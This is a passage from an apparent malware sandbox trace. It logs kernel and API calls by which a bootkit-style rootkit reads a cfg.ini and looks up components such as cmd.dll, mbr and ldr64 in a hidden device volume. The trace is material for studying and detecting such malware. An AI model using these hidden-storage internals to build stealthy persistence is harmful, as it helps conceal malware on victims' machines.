returned -10 [0124.934] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.934] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.934] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.934] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.934] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.934] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.934] KeLeaveCriticalRegion () [0124.934] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.934] ReleaseMutex (hMutex=0x100) returned 1 [0124.934] Sleep (dwMilliseconds=0x2bf20) [0124.940] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6daa7c30, dwHighDateTime=0x1d24fa4)) [0124.941] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0124.941] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.941] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0124.941] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.941] KeEnterCriticalRegion () [0124.941] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.941] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.941] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.941] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.941] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.941] IdePortDispatch () returned 0x103 [0124.941] KeWaitForMutexObject () returned 0x0 [0124.941] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.941] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.941] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.941] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.941] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.941] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be88c0 [0124.941] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.941] KeLeaveCriticalRegion () [0124.941] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.941] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.941] KeEnterCriticalRegion () [0124.941] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.941] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.941] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.941] KeLeaveCriticalRegion () [0124.941] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.941] KeEnterCriticalRegion () [0124.941] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.941] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.941] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.941] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.941] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0124.941] IdePortDispatch () returned 0x103 [0124.942] KeWaitForMutexObject () returned 0x0 [0124.942] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.942] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.942] KeLeaveCriticalRegion () [0124.942] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.942] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.942] KeEnterCriticalRegion () [0124.942] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.942] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035e7000 [0124.942] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.942] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.942] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.942] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.942] IdePortDispatch () returned 0x103 [0124.942] KeWaitForMutexObject () returned 0x0 [0124.942] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.942] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.942] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.942] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.942] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.942] IdePortDispatch () returned 0x103 [0124.943] KeWaitForMutexObject () returned 0x0 [0124.943] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.943] KeLeaveCriticalRegion () [0124.943] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.943] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.943] KeEnterCriticalRegion () [0124.943] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.943] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.943] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.943] KeLeaveCriticalRegion () [0124.943] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.943] KeEnterCriticalRegion () [0124.943] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.943] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.943] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf3d60, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.943] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.943] KeLeaveCriticalRegion () [0124.943] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.943] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.943] KeEnterCriticalRegion () [0124.943] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.943] ExFreePoolWithTag (P=0xfffffa8003be88c0, Tag=0x0) [0124.943] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.943] KeLeaveCriticalRegion () [0124.943] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.943] ReleaseMutex (hMutex=0xf0) returned 1 [0124.943] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.944] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0124.944] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.944] KeEnterCriticalRegion () [0124.944] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.944] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.944] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.944] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.944] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.944] IdePortDispatch () returned 0x103 [0124.944] KeWaitForMutexObject () returned 0x0 [0124.944] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.944] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.944] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.944] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.944] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.944] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf48a0 [0124.944] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.944] KeLeaveCriticalRegion () [0124.944] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.944] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.944] KeEnterCriticalRegion () [0124.944] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.944] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.944] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.944] KeLeaveCriticalRegion () [0124.944] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.944] KeEnterCriticalRegion () [0124.944] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.944] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.944] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.944] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.944] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0124.944] IdePortDispatch () returned 0x103 [0124.945] KeWaitForMutexObject () returned 0x0 [0124.945] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.945] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.945] KeLeaveCriticalRegion () [0124.945] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.945] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.945] KeEnterCriticalRegion () [0124.945] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.945] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035e8000 [0124.945] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.945] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.945] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.945] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.945] IdePortDispatch () returned 0x103 [0124.945] KeWaitForMutexObject () returned 0x0 [0124.945] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.945] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.945] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.945] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.945] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.945] IdePortDispatch () returned 0x103 [0124.946] KeWaitForMutexObject () returned 0x0 [0124.946] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.946] KeLeaveCriticalRegion () [0124.946] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.946] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.946] KeEnterCriticalRegion () [0124.946] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.946] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.946] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.946] KeLeaveCriticalRegion () [0124.946] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.946] KeEnterCriticalRegion () [0124.946] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.946] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.946] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf4960, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.946] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.946] KeLeaveCriticalRegion () [0124.946] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.946] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.946] KeEnterCriticalRegion () [0124.946] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.946] ExFreePoolWithTag (P=0xfffffa8003bf48a0, Tag=0x0) [0124.946] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.946] KeLeaveCriticalRegion () [0124.946] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.946] ReleaseMutex (hMutex=0xf0) returned 1 [0124.946] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.947] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0124.947] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.947] KeEnterCriticalRegion () [0124.947] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.947] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.947] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.947] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.947] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.947] IdePortDispatch () returned 0x103 [0124.947] KeWaitForMutexObject () returned 0x0 [0124.947] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.947] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.947] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.947] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.947] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.947] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf4060 [0124.947] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.947] KeLeaveCriticalRegion () [0124.947] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.947] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.947] KeEnterCriticalRegion () [0124.947] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.947] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.947] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.947] KeLeaveCriticalRegion () [0124.947] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.947] KeEnterCriticalRegion () [0124.947] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.947] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.947] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.947] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.947] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0124.947] IdePortDispatch () returned 0x103 [0124.948] KeWaitForMutexObject () returned 0x0 [0124.948] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.948] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.948] KeLeaveCriticalRegion () [0124.948] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.948] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.948] KeEnterCriticalRegion () [0124.948] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.948] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035e9000 [0124.948] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.948] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.948] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.948] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.948] IdePortDispatch () returned 0x103 [0124.948] KeWaitForMutexObject () returned 0x0 [0124.948] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.948] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.948] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.948] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.948] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.948] IdePortDispatch () returned 0x103 [0124.948] KeWaitForMutexObject () returned 0x0 [0124.948] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.948] KeLeaveCriticalRegion () [0124.948] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.949] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.949] KeEnterCriticalRegion () [0124.949] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.949] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.949] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.949] KeLeaveCriticalRegion () [0124.949] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.949] KeEnterCriticalRegion () [0124.949] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.949] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.949] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf4120, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.949] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.949] KeLeaveCriticalRegion () [0124.949] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.949] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.949] KeEnterCriticalRegion () [0124.949] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.949] ExFreePoolWithTag (P=0xfffffa8003bf4060, Tag=0x0) [0124.949] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.949] KeLeaveCriticalRegion () [0124.949] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.949] ReleaseMutex (hMutex=0xf0) returned 1 [0124.949] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0124.949] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0124.949] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0124.949] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0124.950] KeEnterCriticalRegion () [0124.950] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.950] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.950] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.950] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.950] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.950] IdePortDispatch () returned 0x103 [0124.950] KeWaitForMutexObject () returned 0x0 [0124.950] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.950] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0124.950] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.950] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.950] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.950] 